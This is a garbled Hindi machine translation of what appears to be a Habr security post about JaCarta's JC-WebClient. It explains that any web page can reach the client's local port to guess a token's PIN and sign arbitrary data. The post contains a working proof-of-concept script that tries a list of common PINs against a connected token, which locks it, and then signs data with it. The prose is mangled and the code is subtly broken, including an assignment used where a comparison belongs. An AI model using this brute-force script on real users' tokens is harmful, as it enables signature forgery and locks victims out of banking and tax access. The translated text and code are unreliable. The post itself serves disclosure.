जाकार्ता वेबक्लाइंट का परीक्षण करना या एक सुरक्षित में टोकन स्टोर करना

"जब एक पल के लिए काला आवरण उड़ गया, तो मार्गरिटा ने मुड़कर देखा कि वहाँ न केवल बहु-रंगीन टॉवर हैं जो उनके ऊपर एक हवाई जहाज के साथ हैं, लेकिन कोई शहर ही नहीं था जो जमीन में चला गया था और कोहरा छोड़ दिया था।"

एमए बुल्गाकोव
"मास्टर और मार्गरीटा"

नमस्कार, हेब्र! संभवतः लगभग हर रूसी संगठन के पास एक हंसमुख बहुरंगी रंग में ये उत्पाद हैं। हम जैकार्ता उत्पादों और उनके लिए सॉफ्टवेयर के बारे में बात कर रहे हैं। इस तरह की खुशी मेरे लिए भी गिर गई, और मैंने उनके सार या एपीआई को छिपाने वाले काले कवर को थोड़ा विस्तारित करने का फैसला किया। कुछ बैंक, विशेष रूप से अपने ग्राहकों को JaCarta GOST-2 टोकन जारी करते हैं, काम करने के लिए अलादीन R.D. से JC-WebClient एप्लिकेशन की स्थापना की आवश्यकता होती है।

यद्यपि डेवलपर की आधिकारिक वेबसाइट पर कोई ताज़ा वितरण नहीं है (डेमो अनुभाग में आप एक पुराने संस्करण को डाउनलोड कर सकते हैं, लेकिन यह पुराने एपीआई का उपयोग करता है), वितरण को आरबी की साइटों पर "जेसी-वेबक्लाइंट-4.0.0.1186" लाइन पर Google का उपयोग करके पाया जा सकता है।

उपयोगकर्ता के कंप्यूटर पर एप्लिकेशन इंस्टॉल करने के बाद, पोर्ट 24738 खुलता है, जिस पर यह क्लाइंट काम करता है।

https://localhost:24738/JCWebClient.js

डेवलपर की वेबसाइट खुले तौर पर और इस एप्लिकेशन के एपीआई का वर्णन करती है (साथ ही jcFS.dll के माध्यम से इस निर्माता की संपूर्ण टोकन लाइन की फाइल सिस्टम के साथ काम करने का कार्य करती है, जो "JaCarta सिंगल क्लाइंट" इंस्टॉलेशन पैकेज का हिस्सा है और लब्बोलुआब यह है कि कई फ़ंक्शन का उपयोग करके आप या तो कर सकते हैं) किसी भी चीज़ के साथ टोकन के डिजिटल हस्ताक्षर पर हस्ताक्षर करें, एक पिन कोड उठाएं, या इसे दर्ज करने के असफल प्रयासों के साथ टोकन को ब्लॉक करें। और यह सब इंटरनेट के माध्यम से दूर से।

यह कोई रहस्य नहीं है कि उपयोगकर्ता अक्सर टोकन के लिए डिफ़ॉल्ट पिन कोड छोड़ देते हैं, या जिसको उन्होंने प्राप्त किया है (वे आमतौर पर डरते हैं कि पिन कोड बदलने पर सब कुछ काम करना बंद कर देगा)।

अक्सर, 123456 प्रकार के पिन कोड का उपयोग किया जाता है, और टोकन कार्य दिवस के दौरान या घड़ी के आसपास भी कंप्यूटर पोर्ट या यूएसबी हब में अटका रहता है।

JC-WebClient के लिए धन्यवाद, यदि आप ऐसे उपयोगकर्ता को एक वेब पेज या साधारण जावास्क्रिप्ट के साथ एक ईमेल पर्ची करते हैं, तो आप टोकन कुंजी प्राप्त नहीं कर सकते हैं (कुछ मामलों में, यह सीधे टोकन फ़ाइल सिस्टम तक पहुंचने से संभव है, एक उदाहरण पहले ही दिया गया है ), लेकिन कोशिश करें पिन कोड चुनें और किसी भी डेटा पर हस्ताक्षर करें और इसे कहीं भेजें।

पुनरावृति के 10 असफल प्रयासों के मामले में, टोकन अवरुद्ध है, और ऐसा कितनी बार होता है, अगर अनलॉक करने के लिए व्यवस्थापक का पिन कोड सेट नहीं किया गया है, तो केवल आरंभिक मदद मिलेगी। और यह समय करों पर (और ब्याज के परिणामस्वरूप और यहां तक ​​कि कर के संगठन के कर खाते को अवरुद्ध करने पर) भुगतान नहीं किया जाता है, आपूर्तिकर्ताओं से, सामान्य तौर पर, अच्छाई पर्याप्त नहीं है।



पिन कोड को एन्यूमरेट करने की समस्या को केवल JC-WebClient इंटरफ़ेस विंडो के माध्यम से दर्ज करना संभव है, या एक आधे उपाय के रूप में हल किया जा सकता है, उदाहरण के लिए, इसे दर्ज करने के 3 असफल प्रयासों के मामले में, उपयोगकर्ता को एक संदेश प्रदर्शित करके प्राधिकरण को ब्लॉक करें और जब तक वह इंतजार न करे। आपके कार्यों की पुष्टि करेगा।

मैंने एक छोटी परीक्षण स्क्रिप्ट लिखी जो इस भेद्यता को दर्शाती है। स्क्रिप्ट सभी आधुनिक और अपेक्षाकृत आधुनिक ब्राउज़रों पर काम करती है, यहां तक ​​कि IE :)

स्वाभाविक रूप से, यह कहीं भी कुछ भी नहीं भेजता है, लेकिन कार्यों के अनुक्रम के परिणामों को प्रदर्शित करता है।

स्क्रिप्ट "टोकन को मारने" के लिए पिन कोड दर्ज करने के 10 प्रयासों की पूरी गणना को लागू करता है, इसलिए आप केवल एक परीक्षण टोकन के साथ स्क्रिप्ट चला सकते हैं!

यह भी याद रखना चाहिए कि अपने स्वयं के परीक्षण टोकन के अलावा इस स्क्रिप्ट का उपयोग कानून का उल्लंघन है।

परीक्षा परिणाम:


स्क्रिप्ट परीक्षण के लिए JC-WebClient का उपयोग करके एक महत्वपूर्ण जोड़ी और प्रमाण पत्र बनाती है।
आप EToken PRO Java 72 K, JaCarta GOST, JaCarta GOST-2 का उपयोग कर सकते हैं। टोकन को उपयोगकर्ता पिन 111111 के साथ पूर्व-आरंभ किया जाना चाहिए।

परीक्षण शुरू करने से पहले, आपको JC-WebClient संस्करण 4 या बाद में स्थापित करना होगा।

 // JCWebClient2 JCWebClient2.initialize(); document.write("JC-WebClient   "+" "); //  JCWebClient2 var vers=JCWebClient2.getJCWebClientVersion(); document.write(" JCWebClient2 " + vers +" "); //         var slots = JCWebClient2.getAllSlots(); document.write(" : "+slots.length+" "); //   for (i = 0; i < slots.length; i++) { var slot = slots[i]; document.write(": "+slot.device.name+" "+slot.device.model+" "); } var tokenID = slot.id, //   userPin = '111111'; // PIN-  //       // (  JCWebClient2.Vars.AuthState.notBinded) var tokenState = JCWebClient2.getLoggedInState(); document.write('1) Token is binded: ' + (tokenState.state == JCWebClient2.Vars.AuthState.binded)+" "); //  PIN- JCWebClient2.bindToken({ args: { tokenID: tokenID, pin: userPin } }); //    // (  JCWebClient2.Vars.AuthState.binded) tokenState = JCWebClient2.getLoggedInState(); document.write('2) Token is binded: ' + (tokenState.state == JCWebClient2.Vars.AuthState.binded)+" "); //          var keyPairID = JCWebClient2.createKeyPair({ args: { paramSet: "XA", description: "my description", algorithm: JCWebClient2.Vars.KeyAlgorithm.GOST_2012_256 } }); //     (Distinguished Name (DN)), //    (Common Name, (CN)) var dn = { 'CN': '123', 'C': 'RU' }; //  ,      var exts = { 'keyUsage': 'Digital Signature' }; //   var contID = JCWebClient2.generateUserSelfSignedCertificate({ args: { keyPairID: keyPairID, dn: dn, exts: exts, days: 365 } }); //    var list=[]; //   list = JCWebClient2.getContainerList({ args: { tokenID: tokenID } }); // id      var data = list[0]; var contID = data.id; document.write("ID : "+data.id+" "); document.write(" : "+data.description+" "); document.write(" : "+data.algorithm+" "); //   PIN- JCWebClient2.unbindToken(); 

और वास्तव में सुरक्षा ऑडिट स्क्रिप्ट ही:

 // JCWebClient2 JCWebClient2.initialize(); document.write("JC-WebClient   "+" "); //  JCWebClient2 var vers=JCWebClient2.getJCWebClientVersion(); document.write(" JCWebClient2 " + vers +" "); //         var slots = JCWebClient2.getAllSlots(); document.write(" : "+slots.length+" "); //   for (i = 0; i < slots.length; i++) { var slot = slots[i]; document.write(": "+slot.device.name+" "+slot.device.model+" "); } //   var tokenID = slot.id; //       // (  JCWebClient2.Vars.AuthState.notBinded) var tokenState = JCWebClient2.getLoggedInState(); document.write('Token is binded: ' + (tokenState.state == JCWebClient2.Vars.AuthState.binded)+" "); //    var list=[]; //   list = JCWebClient2.getContainerList({ args: { tokenID: tokenID } }); // id     var data = list[0]; var contID = data.id; document.write("ID : "+data.id+" "); document.write(" : "+data.description+" "); document.write(" : "+data.algorithm+" "); //    (Hello World  Base64) var dataToSign = 'SGVsbG8sIFdvcmxkIQ=='; document.write("  : "+dataToSign+" "); //   var pin=["1234567890", "123456", "1234567", "12345678", "123456789", "0987654321", "111111", "qwerty", "012345", "0123456", "01234567"]; //  function bind(pass) { JCWebClient2.bindToken({ args: { tokenID: tokenID, pin: pass } }); } var i=0; //     //!  10    !!!!!!!!!! while (i < 10) { i++; try{ bind(pin[i]); tokenState = JCWebClient2.getLoggedInState(); //  ,      if(tokenState.state=1) { document.write("   : "+pin[i]+" "); break; } } //    catch(e){document.write(e+" ");} } //    // (  JCWebClient2.Vars.AuthState.binded) tokenState = JCWebClient2.getLoggedInState(); document.write('Token is binded: ' + (tokenState.state == JCWebClient2.Vars.AuthState.binded)+" "); //   var CertificateBody=JCWebClient2.getCertificateBody({ args: { id: contID } }); document.write("CertificateBody: "+CertificateBody+" "); //  ,        Base64 var signedData = JCWebClient2.signBase64EncodedData({ args: { contID: contID, data: dataToSign, attachedSignature: true } }); document.write(" . "); document.write(" : "+signedData+" "); //  var signature = signedData; var res = JCWebClient2.verifyBase64EncodedData({ args: { signature: signature } }); document.write("  : "+res+" "); //   PIN- JCWebClient2.unbindToken(); 

→ JC-WebClient API सूचना स्रोत